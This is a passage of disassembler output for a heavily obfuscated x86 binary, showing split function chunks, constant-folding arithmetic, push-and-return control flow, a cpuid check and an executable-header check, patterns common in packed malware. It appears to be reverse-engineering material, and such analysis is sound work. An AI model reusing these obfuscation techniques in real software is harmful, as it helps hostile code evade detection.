; END OF FUNCTION CHUNK	FOR sub_405FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40DB20:				; CODE XREF: sub_40601E+9D2Aj
		jmp	loc_40DC83
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_40DB25:				; CODE XREF: sub_40DFF5:loc_40A69Fj
		jmp	locret_40B47A
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40DB2A:				; CODE XREF: sub_40E3C8-536Ej
		jmp	loc_40B2EF
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------


loc_40DB2F:				; CODE XREF: _837l4vi2:0040B4ACj
		call	sub_4108C8
		test	al, al
		jz	loc_4076F8
		jmp	loc_406560

; =============== S U B	R O U T	I N E =======================================



sub_40DB41	proc near		; CODE XREF: _837l4vi2:0040D4E3j
					; sub_40966E:loc_40FEF4p

; FUNCTION CHUNK AT 00405CD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B4CC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040DC95 SIZE 00000009 BYTES

		mov	[esp+0], ebx
		pop	ebx
		jz	loc_40B4CC
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40DC9E


loc_40DB54:				; CODE XREF: sub_40B8AE-33E4j
		jmp	loc_405CD4
sub_40DB41	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	edi, 8B8CB778h
		jmp	sub_405971
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_40DB64:				; CODE XREF: sub_40DC3E-6682j
		jz	loc_40F30F
		jmp	loc_40D75B
; END OF FUNCTION CHUNK	FOR sub_40DC3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C5C


loc_40DB6F:				; CODE XREF: sub_405C5C+11j
		jnz	loc_406C59
		jmp	loc_40A801
; END OF FUNCTION CHUNK	FOR sub_405C5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C0FD


loc_40DB7A:				; CODE XREF: sub_40C0FD+12j
		jnz	loc_409080
		push	90F5D095h
		pop	edx
		rol	edx, 0Fh
		xor	edx, 0C225BF65h
		add	edx, ebp
		jmp	loc_40F627
; END OF FUNCTION CHUNK	FOR sub_40C0FD
; ---------------------------------------------------------------------------


loc_40DB96:				; CODE XREF: _837l4vi2:0041055Aj
		and	eax, 0C737F4E7h
		jz	loc_40509B
		and	esi, 922F8C29h
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40DBA8:				; CODE XREF: sub_406C7D:loc_40559Aj
		or	eax, ebp
		jmp	loc_40985E
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_40DBAF:				; CODE XREF: sub_40DEDE:loc_40E372j
		mov	edx, 0CF0182F6h
		call	sub_40CC4A
		mov	ds:dword_41001C, eax
		jmp	loc_408A6A
; END OF FUNCTION CHUNK	FOR sub_40DEDE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBC3	proc near		; CODE XREF: sub_409E97j

; FUNCTION CHUNK AT 0040B35D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410A6C SIZE 00000026 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_410A6C
sub_40DBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBCC	proc near		; CODE XREF: sub_40C1F0:loc_40723Ep
					; _837l4vi2:00407CCFj

; FUNCTION CHUNK AT 0040853C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408593 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408913 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040940C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B0F8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040B6D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CCAD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DCF8 SIZE 0000001A BYTES

		xchg	ecx, [esp+0]


loc_40DBCF:				; CODE XREF: sub_409D6B+4F64j
		pop	ecx
		cmp	edi, esi
		pop	esi
		jbe	loc_40ACAC
		jmp	loc_40853C
sub_40DBCC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40DBDE:				; CODE XREF: sub_40989E:loc_40D08Ej
		push	17A4B3E5h
		pop	edx
		and	edx, 61CC3694h


loc_40DBEA:				; CODE XREF: _837l4vi2:00408C3Bj
		sub	edx, 0DB832C8Ch
		push	offset loc_40A7D7
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_40989E

; =============== S U B	R O U T	I N E =======================================



sub_40DBFA	proc near		; CODE XREF: _837l4vi2:loc_405EEAj
					; sub_408B48+12p

; FUNCTION CHUNK AT 0040543B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040AB37 SIZE 00000010 BYTES

		mov	[esp+0], edi
		pop	edi
		mov	[ebp-4], eax
		push	ebp
		lea	eax, [ebp-4]
		call	sub_40B362
		jmp	loc_40543B
sub_40DBFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40DC0F:				; CODE XREF: sub_40D735:loc_40D164j
		sub	ecx, 2C442564h
		jmp	loc_40AD17
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, offset sub_40DC29
		xchg	eax, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_40DC24:				; CODE XREF: sub_40BE1F-5720j
		jmp	nullsub_220
; END OF FUNCTION CHUNK	FOR sub_40BE1F

; =============== S U B	R O U T	I N E =======================================



sub_40DC29	proc near		; DATA XREF: _837l4vi2:0040DC1Bo
		push	edx
		call	sub_4099A5


loc_40DC2F:				; DATA XREF: _837l4vi2:0040A7BFo
		adc	edx, [esp+4]
sub_40DC29	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40717E


loc_40DC33:				; CODE XREF: sub_40717E:loc_4066C6j
		add	esp, 8
		mov	[ebp-4], eax
		jmp	loc_40DFD5
; END OF FUNCTION CHUNK	FOR sub_40717E

; =============== S U B	R O U T	I N E =======================================



sub_40DC3E	proc near		; CODE XREF: _837l4vi2:004057B9p
					; sub_40892F+300Bp

; FUNCTION CHUNK AT 00406545 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004075A3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00407971 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00408D8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040B100 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040D75B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040DB64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EEEB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040F30D SIZE 0000000C BYTES

		push	ebp
		jmp	loc_40B100
sub_40DC3E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DC44	proc near		; DATA XREF: sub_40E449:loc_40E72Fo

; FUNCTION CHUNK AT 00405248 SIZE 00000008 BYTES

		push	0B5EE506Dh
		pop	eax
		rol	eax, 10h
		xor	eax, ds:4000CEh
		add	eax, 0D5D89F54h
		add	eax, ebp
		add	eax, 9F63A9DCh
		jmp	loc_405248
sub_40DC44	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DC66	proc near		; DATA XREF: sub_40AC58+2601o
		mov	edx, 0CE3062ECh
sub_40DC66	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40DC6B:				; CODE XREF: sub_40926F:loc_40AFA5j
		call	sub_40E739
		push	0B72186F8h
		mov	[esp+14h+var_14], eax
		jmp	loc_40E903
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------

locret_40DC7D:				; CODE XREF: _837l4vi2:00407FE4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40DC7E:				; CODE XREF: sub_40E294-44F4j
		jmp	loc_40B5E5
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40DC83:				; CODE XREF: sub_40601E:loc_40DB20j
		sub	edi, edx
		jmp	loc_408375
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40DC8A:				; CODE XREF: sub_408A93:loc_406B48j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_408A93

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC8C	proc near		; CODE XREF: sub_408A11+1D59j

; FUNCTION CHUNK AT 004079AC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040E17A SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40E17A
sub_40DC8C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB41


loc_40DC95:				; CODE XREF: sub_40DB41:loc_405CD4j
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_406B0B
; END OF FUNCTION CHUNK	FOR sub_40DB41

; =============== S U B	R O U T	I N E =======================================



sub_40DC9E	proc near		; CODE XREF: sub_40DB41+Ep

; FUNCTION CHUNK AT 0040D0C8 SIZE 00000005 BYTES

		push	offset sub_40611B
		jmp	loc_40D0C8
sub_40DC9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_40DCA8:				; CODE XREF: sub_405AFA+1A0Ej
		or	esi, 7FB2A8E2h
		add	esi, 854223h
		xchg	esi, [esp+0]
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_405AFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_40DCBC:				; CODE XREF: sub_408567:loc_4067ACj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		push	offset loc_40E87B
; END OF FUNCTION CHUNK	FOR sub_408567
; START	OF FUNCTION CHUNK FOR sub_40E739


loc_40DCC6:				; CODE XREF: sub_40E739-8690j
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_40E739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_40DCCB:				; CODE XREF: sub_40BE1F:loc_40C858j
		pop	ecx
		rol	ecx, 1Bh
		add	ecx, 352D1420h
; END OF FUNCTION CHUNK	FOR sub_40BE1F
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40DCD5:				; CODE XREF: sub_409D6B:loc_410049j
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_407829
; END OF FUNCTION CHUNK	FOR sub_409D6B

; =============== S U B	R O U T	I N E =======================================



sub_40DCDD	proc near		; CODE XREF: _837l4vi2:loc_40D473p
					; _837l4vi2:0040EE8Fj
		mov	[esp+0], ebx
		pop	ebx
		mov	eax, ds:dword_411050
		call	sub_40AC58
sub_40DCDD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_405950


loc_40DCEC:				; CODE XREF: sub_405950+9AE4j
		jmp	loc_408B89
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------


loc_40DCF1:				; CODE XREF: _837l4vi2:loc_40D404j
		cmp	esi, ebx
		jmp	loc_405211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_40DCF8:				; CODE XREF: sub_40DBCC-2AD1j
		or	edx, ecx
		jl	loc_40CCAD


loc_40DD00:				; CODE XREF: sub_40DBCC:loc_40940Cj
		mov	eax, 80000002h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		jmp	loc_408593
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40DD12:				; CODE XREF: sub_4108AF-652Dj
		add	eax, 553162A2h
		mov	eax, [eax]
		push	eax
		call	sub_407C12


loc_40DD20:				; CODE XREF: sub_405F85:loc_410FD6j
		test	eax, eax
		jz	loc_409F66
		jmp	loc_40525B
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------


loc_40DD2D:				; CODE XREF: _837l4vi2:00410297j
		xchg	ecx, [esp]
		jmp	loc_407C60
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF0D


loc_40DD36:				; CODE XREF: sub_40FF0D-6A66j
		jmp	loc_405508
; END OF FUNCTION CHUNK	FOR sub_40FF0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40DD3B:				; CODE XREF: sub_40939B:loc_4062D7j
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]


loc_40DD41:				; CODE XREF: _837l4vi2:0040CD54j
		or	eax, edx
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		and	eax, 0FFh
		jmp	loc_40B099
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_40DD56:				; CODE XREF: sub_408F1B+Ej
		xor	ebx, ds:4000CBh
		add	ebx, 0BB6C8AB4h
		add	ebx, ebp
		push	esi
		jmp	loc_40C0E1
; END OF FUNCTION CHUNK	FOR sub_408F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8ED


loc_40DD6A:				; CODE XREF: sub_40A8ED:loc_40ED67j
		or	ebx, eax
		ror	eax, 13h
		push	offset loc_40ECE9
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_40A8ED
; ---------------------------------------------------------------------------


loc_40DD79:				; DATA XREF: sub_4061E8+2C08o
		xor	eax, ebx
		add	eax, ecx
		call	sub_4105A5
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40DD82:				; CODE XREF: sub_40E3C8+1Aj
		jmp	loc_406910
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40855B


loc_40DD87:				; CODE XREF: sub_40855B+1AA8j
		jmp	loc_4106F4
; END OF FUNCTION CHUNK	FOR sub_40855B

; =============== S U B	R O U T	I N E =======================================



sub_40DD8C	proc near		; CODE XREF: _837l4vi2:004093F7p
					; _837l4vi2:0040DB15j

; FUNCTION CHUNK AT 0040C473 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	eax, [ebp-4]
		pop	ecx
		push	offset loc_40CBAE
		jmp	loc_40C473
sub_40DD8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DD9E	proc near		; DATA XREF: _837l4vi2:0040D3D6o

; FUNCTION CHUNK AT 0040F161 SIZE 00000005 BYTES

		push	48D6E51Dh
		pop	edx
		xor	edx, 66B866A2h
		call	sub_405C37


loc_40DDAF:				; CODE XREF: _837l4vi2:004094DDj
		jmp	loc_40F161
sub_40DD9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40DDB4:				; CODE XREF: sub_40DF72+2B8Ej
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_408A0C
		jmp	loc_40F3AF
; END OF FUNCTION CHUNK	FOR sub_40DF72

; =============== S U B	R O U T	I N E =======================================



sub_40DDCA	proc near		; CODE XREF: sub_405F85+3p
					; _837l4vi2:004068E2j
		mov	[esp+0], edi
		pop	edi
		jz	loc_40C70B
		push	offset sub_40C704
		jmp	loc_40F1A8
sub_40DDCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6B5


loc_40DDDE:				; CODE XREF: sub_40A6B5+13j
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
; END OF FUNCTION CHUNK	FOR sub_40A6B5
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40DDE4:				; CODE XREF: sub_407EF6:loc_40A6A4j
					; sub_40A6B5+Dj ...
		call	sub_407A9E
		mov	[ebp+var_A], al
		jmp	loc_407836
; END OF FUNCTION CHUNK	FOR sub_407EF6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDF1	proc near		; CODE XREF: sub_405CBC:loc_4102F4j

; FUNCTION CHUNK AT 00407942 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FA45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004106A8 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		push	0D6DB0793h
		jmp	loc_407942
sub_40DDF1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F9B3


loc_40DDFF:				; CODE XREF: sub_40F9B3-2DABj
		rol	edx, 1Dh
		add	edx, 4F934B44h
		xchg	edx, [esp+4+var_4]
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_40F9B3
; ---------------------------------------------------------------------------


loc_40DE10:				; DATA XREF: sub_40C85D-682Do
		pop	ebp
		mov	eax, dword ptr ds:loc_406D4C
		or	eax, eax
		jnz	loc_40A95A
		jmp	loc_405AA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F5BE


loc_40DE24:				; CODE XREF: sub_40F5BE:loc_40730Dj
		pop	ecx
		add	ecx, 9CB0BFA2h
		xor	ecx, 7803C1D8h
		xchg	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], 0A0F088C0h
		pushf


loc_40DE3C:				; CODE XREF: sub_410E1F-91EDj
		push	0FB36623Bh
		jmp	loc_409D57
; END OF FUNCTION CHUNK	FOR sub_40F5BE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40DE46	proc near		; CODE XREF: sub_40A7F9:loc_40AE0Ej
		retn
sub_40DE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE47	proc near		; CODE XREF: sub_405611+9p
					; _837l4vi2:00406CA3j

; FUNCTION CHUNK AT 004051C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405935 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004092E1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040F227 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4092E1
		jmp	loc_405935
sub_40DE47	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_40DE5D:				; CODE XREF: sub_406BF8:loc_406C68j
		sub	eax, [ebp-4]
		mov	[ebp-4], eax
		jmp	loc_40CE00
; END OF FUNCTION CHUNK	FOR sub_406BF8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE68	proc near		; CODE XREF: sub_40892F-2CB4p
					; sub_40892F+6F5Fp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405B6F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00409B2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D34A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040DAD8 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax


loc_40DE71:				; CODE XREF: sub_40AEAE+3AE8j
		jo	loc_405B6F
		mov	eax, [ebp+var_4]
		jmp	loc_409B2F
sub_40DE68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE7F	proc near		; CODE XREF: sub_40CAD0+2B0p
					; _837l4vi2:004101F1j
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	0FCB57DB4h
		pop	eax
		rol	eax, 13h
		push	offset loc_409B64
		jmp	nullsub_71
sub_40DE7F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_40DE97:				; CODE XREF: sub_40B99D:loc_4100B6j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		call	nullsub_1
		jmp	loc_40EA05
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_40DEA9:				; CODE XREF: sub_40DFF5+49j
		jl	loc_40F66C


loc_40DEAF:				; CODE XREF: sub_40C162+296Cj
		jmp	loc_40A69A
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
		sub	edi, 0C19644BAh
		jmp	loc_40F667
; ---------------------------------------------------------------------------


loc_40DEBF:				; CODE XREF: _837l4vi2:0040C665j
		test	esi, eax
		jmp	loc_409AD9
; ---------------------------------------------------------------------------


loc_40DEC6:				; CODE XREF: _837l4vi2:0040A95Ej
		mov	[esp], eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4060AF


loc_40DECA:				; CODE XREF: sub_4060AF+13j
		jmp	loc_40E038
; END OF FUNCTION CHUNK	FOR sub_4060AF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DECF	proc near		; CODE XREF: sub_40C846+7p
		xchg	ebx, edi
		push	edi
		xchg	ebx, edi
		mov	[esp+0], ebp
		mov	ebp, esp
		call	sub_40ECF7
sub_40DECF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DEDE	proc near		; CODE XREF: sub_40833D+3254p
					; _837l4vi2:0040C59Ej

; FUNCTION CHUNK AT 00407D97 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00408A6A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A5E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C402 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0040DBAF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040E35D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00410D08 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		call	nullsub_1


loc_40DEE7:				; CODE XREF: sub_40538C:loc_4073E3j
					; sub_4086F2:loc_40AB8Bj
		js	loc_40C41B
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_40A5E1
sub_40DEDE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 41h
dword_40DEFC	dd 80DDF57Ch						; sub_40D2A8+4w ...
; ---------------------------------------------------------------------------


loc_40DF00:				; CODE XREF: _837l4vi2:00410584j
		jmp	locret_4089E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40DF05:				; CODE XREF: sub_407AA4+820Dj
		jmp	loc_40FD4D
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40DF0A:				; CODE XREF: sub_40B67D+3BE7j
		jmp	loc_40BE2C
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
		db 13h
dword_40DF10	dd 0BD0EFC85h						; _837l4vi2:loc_40D537r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EDB3


loc_40DF14:				; CODE XREF: sub_40EDB3+5j
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_40EDB3
; ---------------------------------------------------------------------------
		inc	edx


loc_40DF1A:				; DATA XREF: sub_40F812:loc_40D504o
					; sub_40F812:loc_40F818o
		xchg	ebp, ds:3808B202h


loc_40DF20:				; CODE XREF: _837l4vi2:0040CE2Fj
		jmp	sub_40BF48
; ---------------------------------------------------------------------------
		db 0E4h, 0D0h, 9Fh
dword_40DF28	dd 3808B202h	; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_40DF2C:				; CODE XREF: sub_4072E4:loc_406965j
		jmp	loc_40995F
; END OF FUNCTION CHUNK	FOR sub_4072E4
; ---------------------------------------------------------------------------
		db 0D3h, 0EBh, 70h
		dd 0FBAF500Eh, 0BD77DFD1h
dword_40DF3C	dd 0DD77B377h						; sub_40857F+3w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40DF40:				; CODE XREF: sub_40DF72+3082j
		jmp	loc_40C229
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C7CD


loc_40DF45:				; CODE XREF: sub_40C7CD+Aj
		jmp	sub_407FEA
; END OF FUNCTION CHUNK	FOR sub_40C7CD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4A	proc near		; DATA XREF: sub_40C9E0+1o

var_818		= dword	ptr -818h

; FUNCTION CHUNK AT 00409401 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040A0CE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040C44A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D729 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040FF7F SIZE 00000005 BYTES

		mov	ebp, esp
		add	esp, 0FFFFF7ECh
		mov	eax, offset dword_40DF28
		call	sub_40E9D8
		jmp	loc_40A0CE
sub_40DF4A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4069AA


loc_40DF62:				; CODE XREF: sub_4069AA+8D07j
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_4069AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_40DF67:				; CODE XREF: sub_4108F9-45A6j
		jmp	loc_405356
; END OF FUNCTION CHUNK	FOR sub_4108F9
; ---------------------------------------------------------------------------


loc_40DF6C:				; CODE XREF: _837l4vi2:004097FFj
		jnz	loc_40E0C3

; =============== S U B	R O U T	I N E =======================================



sub_40DF72	proc near		; CODE XREF: sub_409D6B+4B8Cp

; FUNCTION CHUNK AT 004063C2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040654A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004077D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407ABF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00407B90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407CDD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409E62 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040A388 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AE18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C229 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D114 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040DDB4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040DF40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F188 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040F3AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F3D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FEF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410AE8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00410C88 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410FEE SIZE 0000000B BYTES

		mov	[esp+0], edx
		pop	edx
		test	eax, eax
		jz	loc_408A0C
		jmp	loc_40FEF9
sub_40DF72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40DF83:				; CODE XREF: sub_405D62+7006j
		jno	loc_40F6FC
		sub	edi, 7AAEB45Ah
		jmp	loc_40B5BB
; END OF FUNCTION CHUNK	FOR sub_405D62

; =============== S U B	R O U T	I N E =======================================



sub_40DF94	proc near		; CODE XREF: _837l4vi2:0040620Ej
					; sub_40DFF5+53p

; FUNCTION CHUNK AT 004076C4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040976C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DA36 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F735 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00410D7A SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40D400
		or	eax, eax
		jmp	loc_40976C
sub_40DF94	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	ecx, 18h
		ja	loc_4055EE
		jmp	sub_405FD8
; ---------------------------------------------------------------------------


loc_40DFB6:				; CODE XREF: _837l4vi2:0040C78Ej
		jz	loc_407376
		jmp	loc_406AEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0B9


loc_40DFC1:				; CODE XREF: sub_40B0B9:loc_40B998j
		add	edx, 0DABBA36Bh
		mov	[edx], eax
